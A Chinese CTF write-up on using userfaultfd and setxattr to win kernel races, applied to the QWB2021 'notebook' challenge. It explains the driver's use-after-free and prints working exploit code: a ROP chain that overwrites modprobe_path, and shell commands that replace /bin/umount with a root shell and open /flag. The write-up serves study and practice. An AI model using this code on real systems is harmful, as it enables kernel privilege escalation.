userfaultfd 与 setxattr 在条件竞争中的利用练习

通过两个 kernel ctf 题目来理解userfaultfd以及setxattr的用法吧!

概念梳理

userfaultfd系统调用

userfaultfd是linux的一个系统调用(无libc封装函数),它的出现(Linux 4.3)给用户态提供了缺页处理的能力。userfaultfd系统调用返回给用户态进程的是一个用于处理page faults的文件描述符。

userfaultfd(2) - Linux manual page

ioctl_userfaultfd(2) — Linux manual page

SYSCALL_DEFINE1(userfaultfd, int, flags)

从内核到用户空间(1) — 用户态缺页处理机制 userfaultfd 的使用

使用userfaultfd

一个利用userfaultfd让用户态来处理缺页异常的例子(来自man userfaultfd):

  1. 通过userfaultfd系统调用创建userfaultfd object

    1
    2
    long uffd;
    uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  2. 用户态进程需要先通过UFFD_API这个ioctl命令,使能userfaultfd

    1
    2
    3
    4
    struct uffdio_api uffdio_api;
    uffdio_api.api = UFFD_API;
    uffdio_api.features = 0;
    ioctl(uffd, UFFDIO_API, &uffdio_api);
  3. 用户态进程通过UFFDIO_REGISTER这个ioctl命令,注册设置内存地址范围

    1
    2
    3
    4
    5
    6
    7
    8
    9
       char *addr;  
    struct uffdio_register uffdio_register;
    addr = mmap(NULL, len, PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    uffdio_register.range.start = (unsigned long) addr;
    uffdio_register.range.len = len;
    uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
    ioctl(uffd, UFFDIO_REGISTER, &uffdio_register;
  4. 最后用户态进程可使用UFFDIO_COPY或UFFDIO_ZEROPAGE两个ioctl命令来处理缺页异常。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    	s = pthread_create(&thr, NULL, fault_handler_thread, (void *) uffd);

    // fault_handler_thread()函数定义如下,梳理主要代码流程
    static void *fault_handler_thread(void *arg){
    // 1) 创建一个page,用于缺页处理
    page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    // 2) 等待uffd事件到来
    pollfd.fd = uffd;
    pollfd.events = POLLIN;
    poll(&pollfd, 1, -1);

    // 3) 从userfaultfd中读取事件信息,确认是否是缺页错误事件
    read(uffd, &msg, sizeof(msg));
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
    fprintf(stderr, "Unexpected event on userfaultfd\n");
    exit(EXIT_FAILURE);
    }

    // 4) 将准备好的数据页内容拷贝到userfaultfd注册的空间内
    uffdio_copy.src = (unsigned long) page;
    uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address & ~(page_size - 1);
    uffdio_copy.len = page_size;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    ioctl(uffd, UFFDIO_COPY, &uffdio_copy)
    }

用户线程的处理过程是我们可控的,通过延长用户态处理时间,该系统调用可以帮助我们提高内核条件竞争成功的概率。

防护

userfaultfd系统调用从linux4.3开始引入,刚开始的几个版本中,对该系统调用无任何限制,所有用户均可调用。

linux 5.2开始,在内核中增加了一个开关,通过sysctl_unprivileged_userfaultfd来控制是否允许用非特权用户使用userfaultfd功能(默认情况下设置为0,不允许非特权用户使用)。

1
2
if (!sysctl_unprivileged_userfaultfd && !capable(CAP_SYS_PTRACE))
return -EPERM;

linux 5.11开始,又增加了UFFD_USER_MODE_ONLY标志位,决定了userfaultfd是否仅处理用户空间的page fault。Blocking userfaultfd() kernel-fault handling 文章中指出,新版本内核中默认禁止非特权进程使用userfaultfd,非特权进程只能通过设置sysctl_unprivileged_userfaultfd从而安全地调用userfaultfd(只能处理用户态的缺页错误,启用UFFD_USER_MODE_ONLY标志着userfaultfd不允许在内核态使用)。

1
2
3
4
5
6
7
8
if (!sysctl_unprivileged_userfaultfd &&
(flags & UFFD_USER_MODE_ONLY) == 0 &&
!capable(CAP_SYS_PTRACE)) {
printk_once(KERN_WARNING "uffd: Set unprivileged_userfaultfd "
"sysctl knob to 1 if kernel faults must be handled "
"without obtaining CAP_SYS_PTRACE capability\n");
return -EPERM;
}

那么,在做题过程中,如下两条命令中任何一条为1,大概率表明这个题可以使用userfaultfd。而真实系统上,还要确认UFFD_USER_MODE_ONLY没开。

1
2
3
4
# 查看内核是否支持userfaultd,出现`CONFIG_USERFAULTFD=y`表示支持
grep CONFIG_USERFAULTFD /boot/config-$(uname -r)
# 查看非特权用户是否能调用userfaultfd,值为1时表示非特权用户可调用
sysctl -a | grep unprivileged_userfaultfd

感谢chatgpt😝

Snipaste_2023-03-02_12-32-42

可以通过编译下面这段代码,确认能否使用userfaultfd。(出现[+] in usefaultfd handler, i will sleep 60s\n"字符串打印,表明可以使用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
// gcc test.c -lpthread -o test
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>
#include <ctype.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <linux/keyctl.h>
#include <sys/xattr.h>

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
//当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
printf("[+] waiting poll\n");
nready = poll(&pollfd, 1, -1);
printf("[+] in usefaultfd handler, i will sleep 60s\n");
sleep(60);
printf("[+] sleep done\n");
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void* setxattr_thread(void* a){
printf("thread created!\n");
setxattr("/exp","bling",a,0x200,0);
//char * temp = malloc(0x200);
//memcpy(temp,a,0x200);
//printf("end copy!\n");
}

int main(){
char *addr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(addr+0x1000, userfaultfd_leak_handler);

pthread_t thr;
pthread_create(&thr, NULL, setxattr_thread, addr+0x1000-0x100);

pthread_exit(NULL);
return 0;
}

CTF利用模板

userfaultfd 的使用-ctfwiki

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
//当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
ErrExit("[-] ioctl-UFFDIO_REGISTER");
//开一个线程,接收错误的信号,然后处理
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(30);
// pause(); //根据实际情况在这里添加处理代码,或者直接暂停或sleep
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

使用方法:

1
2
char *addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(addr, handler);

setxattr系统调用

setxattr(2) — Linux manual page

SETXATTR - Linux手册页

Linux Kernel universal heap spray

setxattr是一个linux系统调用,同时在libc中也有同名的封装函数。通过setxattr()可以给系统中inode(文件,目录,符号链接)设置扩展属性(name:value对)。使用示例:

1
2
char* value = "someting..."
setxattr("/exp","bling",value,0x20,0);

对应到内核调用路径:

image-20230301180427383

内核setxattr()函数中的主要处理过程如下,根据用户态传入的size申请对应大小(0<size<65535)的内存空间,并将用户态数据拷贝到该空间中,退出时会释放该内存空间。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static long
setxattr(struct user_namespace *mnt_userns, struct dentry *d,
const char __user *name, const void __user *value, size_t size,
int flags)
{
// ...
if (size) {
if (size > XATTR_SIZE_MAX) // size不能大于65535
return -E2BIG;
kvalue = kvmalloc(size, GFP_KERNEL); // 为value申请size大小的内存空间
// ...
if (copy_from_user(kvalue, value, size)) { // 将用户态的value内容拷贝到内核态申请的空间中
error = -EFAULT;
goto out;
}
// ...
}
// ...
out:
kvfree(kvalue); // 设置完成后,退出函数前释放掉申请的内存空间

return error;
}

漏洞利用过程中有两种使用方法:

  1. 结合userfaultfd,跨页面拷贝时让进程停在copy_from_user处。对UAF堆,相比其他结构体,setxattr可覆盖前8字节内容
  2. 纯粹往堆上喷数据

题目1 - 强网杯2021 notebook

QWB2021-notebook

从强网杯 2021 线上赛题目 notebook 中浅析 userfaultfd 在 kernel pwn 中的利用

第五届强网杯线上赛冠军队 WriteUp - Pwn 篇

做这个题前,首先要了解读写锁的原理:

  • 当写锁被取走时,所有取锁操作被阻塞
  • 当读锁被取走时,取写锁的操作被阻塞

分析

题目附件:QWB2021-notebook.zip

先看notebook.ko的逻辑:

  • noteadd(0x100):为notebook[idx]->note申请一片size大小的空间
  • notegift(0x64):将notebook处存放的note和size信息(256个字节)全部拷贝给用户态(信息泄露 - 泄露堆地址)
  • notedel(0x200):free掉notebook[idx]->note对应的空间,在size不为0的情况下,清空bss段上的内容
  • noteedit(0x300):修改notebook[idx]->note和size,逻辑有问题导致size变任意大小,并申请任意大小的堆。(这里存在条件竞争,可导致UAF)
  • mynote_read:根据传入的idx,将notebook[idx]->note内容读出。有_check_object_size()检查,堆和大小匹配时才能正确读出,防止堆的越界读写。
  • mynote_write:根据传入的idx,更新notebook[idx]->note的内容。也有_check_object_size()检查。

然后看一下锁的情况,noteadd()noteedit()中都有读锁,notedel()中有写锁,其他函数未使用锁。写锁设置后,读锁将被阻塞,所以notedel()无法条件竞争。而noteadd()noteedit()设置了读锁,却都对notebook[idx].size有写的操作,因此条件竞争可以从它们当中构造。

noteedit()函数漏洞的关键点如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
v5 = &notebook[idx];
raw_read_lock(&lock);
size = v5->size;
v5->size = newsize; // noteboot[idx].size可以被改大
if ( size == newsize )
{
v8 = 1LL;
goto editout;
}
v7 = (*(__int64 (__fastcall **)(void *, size_t, __int64))krealloc.gap0)(v5->note, newsize, 0x24000C0LL); // krealloc会释放v5->note,但v5->note值保持不变。在更新v5->note之前,其他线程仍可访问该释放的堆块,导致UAF。只不过这个条件竞争的时间窗口很小。
copy_from_user(name, v4, 0x100LL); // 所以在这里使用userfaultfd让释放线程卡住,延长时间窗口,其他线程UAF
if ( !v5->size )
{
printk("free in fact");
v5->note = 0LL;
v8 = 0LL;
goto editout;
}
if ( (unsigned __int8)_virt_addr_valid(v7) )
{
v5->note = (void *)v7; // 更新v5->note的值

noteadd()函数漏洞的关键点如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
v4 = v3;
v5 = &notebook[idx];
raw_read_lock(&lock);
v6 = v5->size;
v5->size = size; // notebook[idx]->size被设置
if ( size > 0x60 )
{
v5->size = v6;
v7 = -2LL;
printk("[x] Add size out of range.\n");
}
else
{notebook[idx]->size小于0x60,进该分支
copy_from_user(name, v4, 0x100LL); // notebook[idx]->size小于0x60,进该分支。可利用userfaultfd阻塞,将size改成某个小于等于0x60大小的值
if ( v5->note )
{
v5->size = v6;

至此,分析的结果如下:

  1. noteadd一个内核堆块heap1
  2. 【新线程1】noteedit传入一个大size,使heap1被free,并通过userfaultfd使流程在copy_from_user()时停住。此时,heap1的地址还在notebook[index].note上,于是UAF就产生了。
  3. 【新线程2】noteadd将heap1对应的size重新改成原来的大小,并在copy_from_user()时停住。不然mynote_read和mynote_write无法正常执行。
  4. 在主线程中,就可以自由地对已经free掉的heap1进行自由读写操作了!

如下图所示:

image-20230225213203420

接下来就看怎么利用这个UAF读写。

利用

利用思路:

  1. 最早noteadd时指定0x20大小
  2. 当UAF产生并能自由读写后,使用seq_operations结构体占用heap1。个人认为这个结构体比较好用,无需另外构造函数指针列表
  3. 先通过mynote_read泄露seq_operations->start函数指针
  4. 再通过mynote_write改写seq_operations->start函数指针,实现控制流劫持
  5. 控制流劫持后,利用内核ROP(notegift泄露堆地址)栈迁移到堆,继续ROP利用

这里列出四种get root shell的方式

  • modprobe_path - exp1

    1)使用prepare()模板,做好准备工作(/tmp/x, /tmp/dummy, /bin/umount),fork()子进程

    2)子进程将modprobe_path改成/tmp/x

    3)父进程等待一段时间后,执行/tmp/dummy,回shell。

    4)再exit即可获得root shell

  • KPTI trampoline - exp2

    1)执行commit_creds(prepare_cred(0))

    2)利用swapgs_restore_regs_and_return_to_usermode()设置CR3,安全返回用户态(劫持到一系列pop后的第一个mov指令开始即可)

    3)getshell被执行

  • signal handler - exp3

    1)用户态注册signal(SIGSEGV,getshell)

    2)执行commit_creds(prepare_cred(0))

    3)swapgs和iretq返回用户态时触发SIGSEGV

    4)getshell被执行

  • tty_struct + work_for_cpu_fn() - exp4

    1)先构造一个0x3a8(kmalloc-1024)大小的UAF堆块heap1

    2)通过open("dev/ptmx",2); 取回heap1,于是我们就可以控制tty_struct的内容

    2)再构造一个任意大小(0x100)的堆块heap2,用来存放构造的tty_operations,更改ioctl函数指针

    3)读取heap1的内容,更改0x18偏移处指向heap2。更改0x20(prepare_kernel_creds)和0x28(参数0)处的值,并保存0x30(ldisc_sem)处的值为old_value。最后将以上内容写回heap1。

    4)调用ioctl,内核将执行prepare_kernel_creds(0)

    5)读取heap1的内容,返回值pkc_ret在0x30处,更改0x20(commit_creds)和0x28(pkc_value)处的值,并更改0x30(ldisc_sem)处的值为old_value。最后将以上内容写回heap1。

    6)调用ioctl,内核将执行commit_creds(pkc_ret)

    7)用户态执行system(“/bin/sh”),即可获得root shell

  • leak heap cookie + modprobe_path - exp5

    这个巧妙的利用方法来源:强网杯2021 Writeup by X1cT34m

    利用方法的描述参考:从强网杯 Notebook 看内核条件竞争

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    该方法不需要内核ROP,巧妙利用了slub的控制字节(freelist 单向链表,类似 fastbin)。
    1. 分配两个 0x60 的块,分别为 chunk1, chunk2。
    2. 通过 gift 读出 chunk1 和 chunk2 的地址。
    3. free (chunk2) , free (chunk1),此时 freelist -> chunk1 -> chunk2
    4. 再次分配 chunk1 和 chunk2,通过 gift 确保和上次分配的是同两个块。
    5. 此时读出 chunk1 的前 8 字节,这 8 字节应为 cookie ^ chunk1_addr ^ chunk2_addr(详见 Kirin)。这样就能泄露出 cookie。
    6. 重新开始,构造UAF,使chunk1被free,但堆地址还在notebook[0]上。
    7. 向被 free 掉的 chunk1 中写入构造好的内容。此时我们写入 8 字节 cookie ^ chunk1_addr ^ notebook_addr-0x10 即可将 freelist 链改为 freelist -> chunk1 -> notebook_addr - 0x10。(但此时 freelist 链并不合法)
    8. 由于 name 在 bss 上的位置正好在 notebook 的前面,所以可以将 note_addr - 0x10 的地方写为 cookie ^ notebook_addr - 0x10 ^ 0,这样 freelist 链就合法了。
    9. 现在 notebook 可控,就能拿到任意地址读写的权力了。通过 notebook.ko 调用内核函数的地方泄露内核基地址,然后改写 modprobe_path 来提权。

exp1

利用modprobe_path改umount,exit退出系统时获得root shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

int g_fd = 0;
char* addr;
uint64_t temp_buf[0x20];
int temp_fd;
uint64_t heap_addr;

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)

uint64_t single_start_func = 0xFFFFFFFF8128C230;
uint64_t bzImage_base = 0xFFFFFFFF81000000;
uint64_t kernel_base;
uint64_t ret_188 = 0xffffffff811a71c6;
uint64_t pop_rax_ret = 0xffffffff81540d04;
uint64_t pop_rdi_ret = 0xffffffff81007115;
uint64_t mov_ptr_rdi_rax = 0xffffffff814157e9;
uint64_t modprobe_path_addr = 0xFFFFFFFF8225D2E1;
uint64_t add_rsp_1a8 = 0xffffffff816473a4;
uint64_t do_task_dead_func = 0xFFFFFFFF810B3FA0;
uint64_t pop_rsp_ret = 0xffffffff810bc110;

struct note{
uint64_t note;
uint64_t size;
};

struct userarg{
uint64_t idx;
uint64_t size;
char* buf;
};

void ErrExit(char* err_msg)
{
puts(err_msg);
exit(-1);
}

void* userfaultfd_leak_handler(void* arg)
{
struct uffd_msg msg;
unsigned long uffd = (unsigned long) arg;
struct pollfd pollfd;
int nready;

pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
sleep(30);
// pause();
if (nready != 1) ErrExit("[-] Wrong poll return val");

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) ErrExit("[-] msg err");

char* page = (char*) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) ErrExit("[-] mmap err");
memset(page, 0, sizeof(page));

struct uffdio_copy uc;
uc.src = (unsigned long) page;
uc.dst = (unsigned long) msg.arg.pagefault.address & ~(PAGE_SIZE - 1);
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;
ioctl(uffd, UFFDIO_COPY, &uc);
puts("[+] leak handler done");
return NULL;
}

void RegisterUserfault(void *fault_page,void *handler)
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1)
ErrExit("[-] ioctl-UFFDIO_API");

ur.range.start = (unsigned long)fault_page; //我们要监视的区域
ur.range.len = PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理
ErrExit("[-] ioctl-UFFDIO_REGISTER");
int s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
ErrExit("[-] pthread_create");
}




/* cmd
0x100 - noteadd : 为notebook[idx]->note申请一篇size大小的空间
0x64 - notegift : 将notebook处的256个字节全部拷贝给用户态(信息泄露) - 泄露堆地址
0x200 - notedel : free掉notebook[idx]->note对应的空间,在size不为0的情况下,清空bss段上的内容
0x300 - noteedit : 修改notebook[idx]的大小,note和size,逻辑有问题导致size变任意大小
*/

void noteadd(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x100, &arg);
}

void notedel(uint64_t idx){
struct userarg arg = {
.idx = idx,
.size = 0,
.buf = 0,
};

ioctl(g_fd, 0x200, &arg);
}

void noteedit(uint64_t idx, uint64_t size, char* buf){
struct userarg arg = {
.idx = idx,
.size = size,
.buf = buf,
};

ioctl(g_fd, 0x300, &arg);
}

void notegift(char* buf){
struct userarg arg = {
.idx = 0,
.size = 0,
.buf = buf,
};

ioctl(g_fd, 0x64, &arg);
}

void write_note(char* con_buf, uint64_t idx){
write(g_fd,con_buf,idx);
}

void read_note(char* con_buf, uint64_t idx){
read(g_fd,con_buf,idx);
}

void* edit_thread(){
noteedit(0, 0x100, addr);
return NULL;
}

void* add_thread(){
noteadd(0,0x20,addr);
return NULL;
}


void prepare(){
system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\nexec 0</dev/console\\nexec 1>/dev/console\\nexec 2>/dev/console\\n/bin/sh\\n\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x");
system("echo 'chmod 777 /flag' >> /tmp/x");
system("chmod +x /tmp/x");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
system("chmod +x /tmp/dummy");

if(fork()) {
sleep(20);
system("/tmp/dummy 2>/dev/null");
system("ls -l /flag");
system("cat /flag");
exit(1);
}
}

int main(){
prepare();

char *ret_buf = malloc(0x60);
int i;
int fd[0x100];
uint64_t leak_addr;
int index;
g_fd = open("/dev/notebook",2);

// 1. notebook[0].note = heap1 / notebook[0].size = 0x20
char* name = malloc(0x100);
memset(name, 'a', 18);
noteadd(0,0x20,name);

// 2. using userfaultfd to produce UAF: notebook[0].note = heap1 / notebook[0].size = 0x100
addr = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
RegisterUserfault(addr, userfaultfd_leak_handler);
pthread_t thr_edit,thr_add;
pthread_create(&thr_edit, NULL, edit_thread, 0);

// 3. set notebook size to enable read/write : notebook[0].note = heap1 / notebook[0].size = 0x20
pthread_create(&thr_add, NULL, add_thread, 0);
// sleep(1); //给1s缓冲时间,让size值写上

// 4. get heap1 back, then we can use the UAF
for(i =0 ;i<100; i++){
fd[i] = open("/proc/self/stat",0); // in kernel it will kmalloc(0x20)
read_note(ret_buf, 0); // check whether we hit heap1 or not
leak_addr = *(int64_t *)ret_buf;
if(((leak_addr&0xffffffff00000000) >> 32) == 0xFFFFFFFF){
index = i;
printf("found it! the index is %d\n",index);
break;
}
}

if(i == 100){
printf("failed to get heap1 back, let's try again!\n");
exit(0);
}

// 5. leak kernel base: read heap1
kernel_base = leak_addr - (single_start_func - bzImage_base);
printf("kernel_base : 0x%lx\n",kernel_base);

// 6. hijack control flow: write heap1, then trigger 'seq_operations->start'
uint64_t control_rip = add_rsp_1a8 - bzImage_base + kernel_base;
write_note((char*)&control_rip,0);

// 7. stack pivoting: use the gift func ^_^
noteadd(1,0x60,name);
notegift(ret_buf);
heap_addr = *(int64_t *)(ret_buf+0x10); // heap addr
uint64_t gadget_buf[0x60] = {0};
gadget_buf[0] = pop_rax_ret - bzImage_base + kernel_base;
gadget_buf[1] = 0x782f706d742f; // /tmp/x
gadget_buf[2] = pop_rdi_ret - bzImage_base + kernel_base;
gadget_buf[3] = modprobe_path_addr - bzImage_base + kernel_base;
gadget_buf[4] = mov_ptr_rdi_rax - bzImage_base + kernel_base; // write modprobe_path
gadget_buf[5] = do_task_dead_func - bzImage_base + kernel_base;
write_note(gadget_buf,1);

pop_rsp_ret = pop_rsp_ret - bzImage_base + kernel_base;

// 8. trigger
temp_fd = fd[index];
__asm__(
"mov r15, 0x15151515;" // r15
"mov r14, 0x14141414;" // r14 /tmp/x
"mov r13, 0x13131313;" // r13
"mov r12, 0x12121212;" // r12
"mov r11, 0x11111111;"
"mov r10, 0x10101010;" // r10
"mov rbp, pop_rsp_ret;" // bbbbbbbb
"mov rbx, heap_addr;" // aaaaaaaa
"mov r9, 0x99999999;" // r9
"mov r8, 0x88888888;" //r8
"mov rcx, 0xcccccccc;"
"xor rax, rax;"
"mov rdx, 0x22222222;"
"mov rsi, 0x33333333;"
"mov rdi, temp_fd;"
"syscall"
);

pthread_exit(NULL);
return 0;
}

exp2

commit_creds(prepare_cred(0))执行完成后,ROP链执行swapgs_restore_regs_and_return_to_usermode(), 提前设置好返回用户态的rip,获得root shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
#define _GNU_SOURCE
#include <inttypes.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdint.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <poll.h>

int g_fd = 0;
char* addr;
uint64_t temp_buf[0x20];
int temp_fd;
uint64_t heap_addr;

#define PAGE_SIZE sysconf(_SC_PAGE_SIZE)

uint64_t single_start_func = 0xFFFFFFFF8128C230;
uint64_t bzImage_base = 0xFFFFFFFF81000000;
uint64_t kernel_base;
uint64_t pop_rdi_ret = 0xffffffff81007115;
uint64_t add_rsp_1a8 = 0xffffffff816473a4;
uint64_t pop_rsp_ret = 0xffffffff810bc110;
